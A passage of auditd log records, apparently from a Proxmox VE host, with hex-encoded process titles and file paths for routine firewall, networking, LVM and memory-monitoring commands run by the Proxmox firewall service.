name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305679,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.679:65034): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966105987,"@rawstring":"node=pve type=PATH msg=audit(1781966105.987:68453): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305671,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.671:65033): proctitle=\"ip6tables-save\""} {"@timestamp":1781966105987,"@rawstring":"node=pve type=PATH msg=audit(1781966105.987:68453): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305661,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.661:65032): proctitle=\"iptables-save\""} {"@timestamp":1781966105979,"@rawstring":"node=pve type=PATH msg=audit(1781966105.979:68452): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305654,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.654:65031): proctitle=69707365740073617665"} {"@timestamp":1781966105979,"@rawstring":"node=pve type=PATH msg=audit(1781966105.979:68452): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305646,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.646:65030): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966105969,"@rawstring":"node=pve type=PATH msg=audit(1781966105.969:68451): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965305636,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965305.636:65029): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966105969,"@rawstring":"node=pve type=PATH msg=audit(1781966105.969:68451): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965304843,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965304.843:65028): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966105409,"@rawstring":"node=pve type=PATH msg=audit(1781966105.409:68450): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965304816,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965304.816:65027): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966105409,"@rawstring":"node=pve type=PATH msg=audit(1781966105.409:68450): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965302502,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965302.502:65026): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966105409,"@rawstring":"node=pve type=PATH msg=audit(1781966105.409:68449): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965302502,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965302.502:65025): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966105409,"@rawstring":"node=pve type=PATH msg=audit(1781966105.409:68448): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965302502,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965302.502:65024): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966105402,"@rawstring":"node=pve type=PATH msg=audit(1781966105.402:68447): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965302492,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965302.492:65023): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966105402,"@rawstring":"node=pve type=PATH msg=audit(1781966105.402:68447): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965302492,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965302.492:65022): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966105402,"@rawstring":"node=pve type=PATH msg=audit(1781966105.402:68446): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965302492,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965302.492:65021): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966105402,"@rawstring":"node=pve type=PATH msg=audit(1781966105.402:68445): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965300346,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965300.346:65020): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781966104836,"@rawstring":"node=pve type=PATH msg=audit(1781966104.836:68444): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965300346,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965300.346:65019): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781966104836,"@rawstring":"node=pve type=PATH msg=audit(1781966104.836:68444): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965300344,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965300.344:65018): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781966104810,"@rawstring":"node=pve type=PATH msg=audit(1781966104.810:68443): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965297482,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965297.482:65017): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966104810,"@rawstring":"node=pve type=PATH msg=audit(1781966104.810:68443): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965297482,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965297.482:65016): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966100392,"@rawstring":"node=pve type=PATH msg=audit(1781966100.392:68442): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965297482,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965297.482:65015): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966100392,"@rawstring":"node=pve type=PATH msg=audit(1781966100.392:68442): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965297475,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965297.475:65014): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966100392,"@rawstring":"node=pve type=PATH msg=audit(1781966100.392:68441): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965297475,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965297.475:65013): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966100391,"@rawstring":"node=pve type=PATH msg=audit(1781966100.391:68440): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965297475,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965297.475:65012): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966100383,"@rawstring":"node=pve type=PATH msg=audit(1781966100.383:68439): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295628,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.628:65011): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966100383,"@rawstring":"node=pve type=PATH msg=audit(1781966100.383:68439): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295623,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.623:65010): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966100383,"@rawstring":"node=pve type=PATH msg=audit(1781966100.383:68438): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295621,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.621:65009): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966100383,"@rawstring":"node=pve type=PATH msg=audit(1781966100.383:68437): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295620,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.620:65008): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966095956,"@rawstring":"node=pve type=PATH msg=audit(1781966095.956:68436): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295616,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.616:65007): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966095956,"@rawstring":"node=pve type=PATH msg=audit(1781966095.956:68436): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295610,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.610:65006): proctitle=\"ip6tables-save\""} {"@timestamp":1781966095953,"@rawstring":"node=pve type=PATH msg=audit(1781966095.953:68435): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295602,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.602:65005): proctitle=\"iptables-save\""} {"@timestamp":1781966095953,"@rawstring":"node=pve type=PATH msg=audit(1781966095.953:68435): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295594,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.594:65004): proctitle=\"ip6tables-save\""} {"@timestamp":1781966095952,"@rawstring":"node=pve type=PATH msg=audit(1781966095.952:68434): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295588,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.588:65003): proctitle=\"iptables-save\""} {"@timestamp":1781966095952,"@rawstring":"node=pve type=PATH msg=audit(1781966095.952:68434): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295584,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.584:65002): proctitle=\"ebtables-restore\""} {"@timestamp":1781966095952,"@rawstring":"node=pve type=PATH msg=audit(1781966095.952:68433): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295580,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.580:65001): proctitle=\"ebtables-restore\""} {"@timestamp":1781966095948,"@rawstring":"node=pve type=PATH msg=audit(1781966095.948:68432): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295572,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.572:65000): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966095948,"@rawstring":"node=pve type=PATH msg=audit(1781966095.948:68432): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295564,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.564:64999): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966095948,"@rawstring":"node=pve type=PATH msg=audit(1781966095.948:68432): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295558,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.558:64998): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966095941,"@rawstring":"node=pve type=PATH msg=audit(1781966095.941:68431): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295549,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.549:64997): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966095941,"@rawstring":"node=pve type=PATH msg=audit(1781966095.941:68431): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295536,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.536:64996): proctitle=697073657400726573746F7265"} {"@timestamp":1781966095933,"@rawstring":"node=pve type=PATH msg=audit(1781966095.933:68430): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295518,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.518:64995): proctitle=\"ip6tables-save\""} {"@timestamp":1781966095933,"@rawstring":"node=pve type=PATH msg=audit(1781966095.933:68430): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295506,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.506:64994): proctitle=\"iptables-save\""} {"@timestamp":1781966095925,"@rawstring":"node=pve type=PATH msg=audit(1781966095.925:68429): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295503,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.503:64993): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966095925,"@rawstring":"node=pve type=PATH msg=audit(1781966095.925:68429): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295498,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.498:64992): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966095916,"@rawstring":"node=pve type=PATH msg=audit(1781966095.916:68428): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295498,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.498:64991): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966095916,"@rawstring":"node=pve type=PATH msg=audit(1781966095.916:68428): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295498,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.498:64990): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966095909,"@rawstring":"node=pve type=PATH msg=audit(1781966095.909:68426): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295493,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.493:64989): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966095909,"@rawstring":"node=pve type=PATH msg=audit(1781966095.909:68426): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295485,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.485:64988): proctitle=\"ip6tables-save\""} {"@timestamp":1781966095903,"@rawstring":"node=pve type=PATH msg=audit(1781966095.903:68425): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295477,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.477:64987): proctitle=\"iptables-save\""} {"@timestamp":1781966095903,"@rawstring":"node=pve type=PATH msg=audit(1781966095.903:68425): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295474,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.474:64986): proctitle=69707365740073617665"} {"@timestamp":1781966095897,"@rawstring":"node=pve type=PATH msg=audit(1781966095.897:68424): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295465,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.465:64985): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966095897,"@rawstring":"node=pve type=PATH msg=audit(1781966095.897:68424): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965295459,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965295.459:64984): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966095891,"@rawstring":"node=pve type=PATH msg=audit(1781966095.891:68423): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965294718,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965294.718:64983): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966095891,"@rawstring":"node=pve type=PATH msg=audit(1781966095.891:68423): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965294693,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965294.693:64982): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966095885,"@rawstring":"node=pve type=PATH msg=audit(1781966095.885:68422): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965292463,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965292.463:64981): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966095885,"@rawstring":"node=pve type=PATH msg=audit(1781966095.885:68422): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965292463,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965292.463:64980): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966095878,"@rawstring":"node=pve type=PATH msg=audit(1781966095.878:68421): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965292463,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965292.463:64979): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966095878,"@rawstring":"node=pve type=PATH msg=audit(1781966095.878:68421): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965292453,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965292.453:64978): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966095870,"@rawstring":"node=pve type=PATH msg=audit(1781966095.870:68420): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965292453,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965292.453:64977): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966095870,"@rawstring":"node=pve type=PATH msg=audit(1781966095.870:68420): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965292453,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965292.453:64976): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966095863,"@rawstring":"node=pve type=PATH msg=audit(1781966095.863:68419): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 